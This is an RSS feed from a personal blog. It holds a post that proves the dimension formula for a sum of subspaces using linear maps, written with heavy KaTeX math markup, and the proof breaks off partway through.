<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>atx</title>
    <description>My personal blog</description>
    <link>https://blog.atx.name/</link>
    <atom:link href="https://blog.atx.name/feed.xml" rel="self" type="application/rss+xml" />
    <pubDate>Sat, 09 Jan 2021 19:59:14 +0100</pubDate>
    <lastBuildDate>Sat, 09 Jan 2021 19:59:14 +0100</lastBuildDate>
    <generator>Jekyll v3.9.0</generator>
    
      <item>
        <title>Fun with linear algebra</title>
        <description>&lt;p&gt;&lt;span class=&quot;epistemic&quot;&gt;Epistemic status: Mostly the result of a
late night procrastination session. Proceed with caution.
Might be too verbose or not verbose enough.&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;I have been thinking about linear algebra quite a lot lately. There is a common
proof strategy, which usually goes something like:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;You have a subspace of a vector space&lt;/li&gt;
  &lt;li&gt;Get a basis for that subspace&lt;/li&gt;
  &lt;li&gt;Use the &lt;a href=&quot;https://en.wikipedia.org/wiki/Steinitz_exchange_lemma&quot;&gt;exchange lemma&lt;/a&gt;
to extend that basis to a basis of some larger subspace&lt;/li&gt;
  &lt;li&gt;Try to figure out if your new basis, or maybe the basis of the complementary
subspace, has some desirable properties&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;However, after reading a particularly cool proof (3.106) in
&lt;a href=&quot;http://www.linear.axler.net/&quot;&gt;Linear Algebra Done Right&lt;/a&gt;, I noticed a
fascinating concept: many linear algebra theorems, which are commonly proven
using the startegy described above, can often be proven by picking a bunch of appropriate
linear maps between the relevant vector spaces and then using a bunch of “elementary”
theorems, usually proven using the above method.&lt;/p&gt;

&lt;p&gt;This usually takes a bit of effort to figure out, but the results are quite satisfying.
Let me illustrate:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Proposition&lt;/strong&gt; (Dimension of a sum): Let &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;V &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.68333em;vertical-align:0em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.22222em;&quot;&gt;V&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; and &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;U&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;U &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.68333em;vertical-align:0em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10903em;&quot;&gt;U&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; be finitely generated subspaces of a
common vector space. Then we have&lt;/p&gt;

&lt;p&gt;&lt;span class=&quot;katex-display&quot;&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot; display=&quot;block&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;dim&lt;/mi&gt;&lt;mo&gt;⁡&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mo&gt;×&lt;/mo&gt;&lt;mi&gt;U&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mi&gt;dim&lt;/mi&gt;&lt;mo&gt;⁡&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;U&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;dim&lt;/mi&gt;&lt;mo&gt;⁡&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mo&gt;∩&lt;/mo&gt;&lt;mi&gt;U&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;.&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;
  \dim(V \times U) = \dim (V + U) + \dim (V \cap U).
&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mop&quot;&gt;dim&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.22222em;&quot;&gt;V&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;×&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10903em;&quot;&gt;U&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mop&quot;&gt;dim&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.22222em;&quot;&gt;V&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10903em;&quot;&gt;U&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mop&quot;&gt;dim&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.22222em;&quot;&gt;V&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;∩&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10903em;&quot;&gt;U&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Proof&lt;/em&gt;. Consider a pair of linear maps:
&lt;span class=&quot;katex-display&quot;&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot; display=&quot;block&quot;&gt;&lt;semantics&gt;&lt;mtable rowspacing=&quot;0.24999999999999992em&quot; columnalign=&quot;right left&quot; columnspacing=&quot;0em&quot;&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mrow&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;mo&gt;:&lt;/mo&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mo&gt;×&lt;/mo&gt;&lt;mi&gt;U&lt;/mi&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mrow&gt;&lt;mrow&gt;&lt;/mrow&gt;&lt;mo&gt;→&lt;/mo&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;U&lt;/mi&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;/mtr&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mrow&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;mi&gt;u&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mrow&gt;&lt;mrow&gt;&lt;/mrow&gt;&lt;mo&gt;↦&lt;/mo&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;u&lt;/mi&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;/mtr&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mrow&gt;&lt;mi&gt;g&lt;/mi&gt;&lt;mo&gt;:&lt;/mo&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mo&gt;∩&lt;/mo&gt;&lt;mi&gt;U&lt;/mi&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mrow&gt;&lt;mrow&gt;&lt;/mrow&gt;&lt;mo&gt;→&lt;/mo&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mo&gt;×&lt;/mo&gt;&lt;mi&gt;U&lt;/mi&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;/mtr&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mrow&gt;&lt;mrow&gt;&lt;/mrow&gt;&lt;mo&gt;↦&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;.&lt;/mi&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;/mtr&gt;&lt;/mtable&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;
\begin{aligned}
  f : V \times U &amp;amp;\to V + U \\
  (v, u) &amp;amp;\mapsto v + u, \\
  g : V \cap U &amp;amp;\to V \times U \\
  v &amp;amp;\mapsto (v, -v).
\end{aligned}
&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:6em;vertical-align:-2.7500000000000004em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mtable&quot;&gt;&lt;span class=&quot;col-align-r&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:3.25em;&quot;&gt;&lt;span style=&quot;top:-5.41em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.22222em;&quot;&gt;V&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;×&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10903em;&quot;&gt;U&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.91em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;mpunct&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;u&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-2.4099999999999993em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.22222em;&quot;&gt;V&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;∩&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10903em;&quot;&gt;U&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-0.9099999999999997em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:2.7500000000000004em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;col-align-l&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:3.25em;&quot;&gt;&lt;span style=&quot;top:-5.41em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;→&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.22222em;&quot;&gt;V&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10903em;&quot;&gt;U&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.91em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;↦&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;u&lt;/span&gt;&lt;span class=&quot;mpunct&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-2.4099999999999993em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;→&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.22222em;&quot;&gt;V&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;×&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10903em;&quot;&gt;U&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-0.9099999999999997em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;↦&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;mpunct&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:2.7500000000000004em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;It is clear that &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;f &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8888799999999999em;vertical-align:-0.19444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; is surjective, and it is also clear that &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;g&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;g &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.625em;vertical-align:-0.19444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;g&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
is injective. We just need to prove that &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;Ran&lt;/mi&gt;&lt;mo&gt;⁡&lt;/mo&gt;&lt;mi&gt;g&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;Ker&lt;/mi&gt;&lt;mo&gt;⁡&lt;/mo&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;\operatorname{Ran}{g} = \operatorname{Ker} f &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8777699999999999em;vertical-align:-0.19444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mop&quot;&gt;&lt;span class=&quot;mord mathrm&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;mord mathrm&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;mord mathrm&quot;&gt;n&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;g&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8888799999999999em;vertical-align:-0.19444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mop&quot;&gt;&lt;span class=&quot;mord mathrm&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;mord mathrm&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;mord mathrm&quot;&gt;r&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;.&lt;/p&gt;

&lt;p&gt;Take &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;g&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;∈&lt;/mo&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;Ran&lt;/mi&gt;&lt;mo&gt;⁡&lt;/mo&gt;&lt;mi&gt;g&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;g(v) \in \operatorname{Ran}{g} &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;v&lt;/span&gt;&lt;span 